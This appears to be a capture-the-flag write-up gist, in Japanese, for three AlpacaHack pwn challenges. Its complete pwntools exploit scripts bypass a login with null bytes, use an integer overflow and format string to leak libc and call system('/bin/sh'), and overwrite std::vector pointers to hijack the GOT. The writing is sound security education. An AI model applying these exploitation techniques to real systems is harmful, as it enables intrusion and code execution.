Skip to content

Instantly share code, notes, and snippets.

@akiym
Last active March 23, 2025 13:21
Show Gist options
  • Save akiym/844a911fadaca6afbaf40e46867696f4 to your computer and use it in GitHub Desktop.
Save akiym/844a911fadaca6afbaf40e46867696f4 to your computer and use it in GitHub Desktop.
AlpacaHack Round 10 (Pwn) writeup - Oyster, Kangaroo, Takahashi

Oyster

なんとなくstrcmpしているのでnull文字を詰め込んでどうにかするものだろうと予想して、脳死でpasswordをすべてnull文字で送ってみたところそのままいけました。

from pwn import *

context.update(os='linux', arch='amd64', log_level='info')
p, u = pack, unpack

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'

if REMOTE:
    host, port = '34.170.146.252 44367'.split()
else:
    host, port = '127.0.0.1 4000'.split()

# context.binary = e = ELF('./'); libc = e.libc; rop = ROP([e])

s = remote(host, port)

s.sendlineafter(b': ', b'root')
s.sendlineafter(b': ', b'\0'*0x1e)

s.interactive('')

Kangaroo

以下のチェックがあり、前半のindex >= LLONG_MAX / SIZEはindexを負の数にすると通るようにみえますが、後半のoffset自体がg_messagesのサイズの範囲内になっているところはどうしても変えられません。

  off_t offset;
  ssize_t index;
[...]
  if (index >= LLONG_MAX / SIZE) {
    puts("[-] Integer overflow");
    exit(1);
  }

  offset = index * SIZE;
  if (offset < 0 || offset >= sizeof(g_messages)) {
    puts("[-] Invalid offset");
    exit(1);
  }

ここで悩みましたが、offsetからSIZE(0x48)分読むので、sizeof(g_messages)-SIZEよりも大きな数を指定できればg_messagesの先にあるfn_clearを書き換えられるようになるのがわかります。適当に計算すると520となるoffsetが作り出せます。

次にfn_clearを書き換えてlibcリークに繋げられないかを考えます。fn_clearはfn_clear(g_messages, sizeof(g_messages))と呼ばれるので、何かしらよい関数を探したところprintfを渡すことでfsbでリークができました。あとはg_messagesの先頭に/bin/shを入れてsystemを呼ぶだけです。

from pwn import *

context.update(os='linux', arch='amd64', log_level='info')
p, u = pack, unpack

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'

if REMOTE:
    host, port = '34.170.146.252 54223'.split()
else:
    host, port = '127.0.0.1 4000'.split()

context.binary = e = ELF('./kangaroo.mod'); libc = e.libc; rop = ROP([e])

s = remote(host, port)

def read_message(index, message):
    s.sendlineafter(b'> ', b'1')
    s.sendlineafter(b'Index: ', b'%d' % index)
    s.sendafter(b'Message: ', message)

def write_message(index):
    s.sendlineafter(b'> ', b'2')
    s.sendlineafter(b'Index: ', b'%d' % index)

def clear_messages():
    s.sendlineafter(b'> ', b'3')

read_message(0, b'%p,' * 10 + b'\n')

LLONG_MAX = 2**63 - 1
SIZE = 0x48
idx = -(LLONG_MAX // SIZE)
idx += idx
idx += 7
print(idx)
print(idx * SIZE & 0xffffffffffffffff)
read_message(idx, b'A' * 0x38 + p(e.plt.printf) + b'\n')

clear_messages()
line = s.recv()
libc.address = int(line.split(b',')[8], 16) - 0x2a1ca
print('libc: %x' % libc.address)

read_message(idx, b'A' * 0x38 + p(libc.sym.system) + b'\n')

read_message(0, b'/bin/sh' + b'\n')

clear_messages()

s.interactive('')

Takahashi

問題自体は https://github.com/E869120/kyopro-tessoku/blob/main/codes/cpp/chap08/answer_A53.cpp のソースコードに/bin/shを呼ぶwin関数を追加しただけのものです。

xのサイズは100009なので、それ以上のものを読むことでTを書き換えられます。T自体はstd::vectorなのでそのアドレスを書き換えてしまえばpushされる際に特定のアドレスに対して書き込みができるようになるはずです。 https://ptr-yudai.hatenablog.com/entry/2021/11/30/235732 を読むとこのstd::vectorは以下のようにポインタを持っているようなので、ここをGOTを指すように書き換えます。

+00h: <配列の先頭の要素へのポインタ>
+08h: <配列の最後の要素の次の位置へのポインタ>
+10h: <配列の容量的な限界位置のポインタ>

+10hのものに関しては、すべて同じポインタを指してしまうとpush時に容量が足りないのでバッファの拡張のようなものがされて壊れます。適当に0x100分先を指しておくとそのまま使えます。

なんとなくdeleteあたりがデストラクタで呼ばれるだろうとそのGOTのアドレスを指定していますが、デバッガで見てオフセットを修正したりして10件くらい突っ込んだらそのまま動いたのでかなり適当です。

from pwn import *

context.update(os='linux', arch='amd64', log_level='info')
p, u = pack, unpack

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'

if REMOTE:
    host, port = '34.170.146.252 55287'.split()
else:
    host, port = '127.0.0.1 4000'.split()

# context.binary = e = ELF('./'); libc = e.libc; rop = ROP([e])

s = remote(host, port)

win = 0x401427

N = 6+10
Q = 100015 + N

s.send(b'%d\n' % Q)

for i in range(Q-N):
    s.send(b'0\n')

'''
https://ptr-yudai.hatenablog.com/entry/2021/11/30/235732

+00h: <配列の先頭の要素へのポインタ>
+08h: <配列の最後の要素の次の位置へのポインタ>
+10h: <配列の容量的な限界位置のポインタ>
'''

got = 0x405038-8-4 # delete@got
s.send(b'1 %d\n' % got)
s.send(b'0\n')
s.send(b'1 %d\n' % got)
s.send(b'0\n')
s.send(b'1 %d\n' % (got+0x100))
s.send(b'0\n')

# 適当
s.send(b'1 %d\n' % win)
s.send(b'1 0\n')
s.send(b'1 %d\n' % win)
s.send(b'1 0\n')
s.send(b'1 %d\n' % win)
s.send(b'1 0\n')
s.send(b'1 %d\n' % win)
s.send(b'1 0\n')
s.send(b'1 %d\n' % win)
s.send(b'1 0\n')

s.interactive('')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment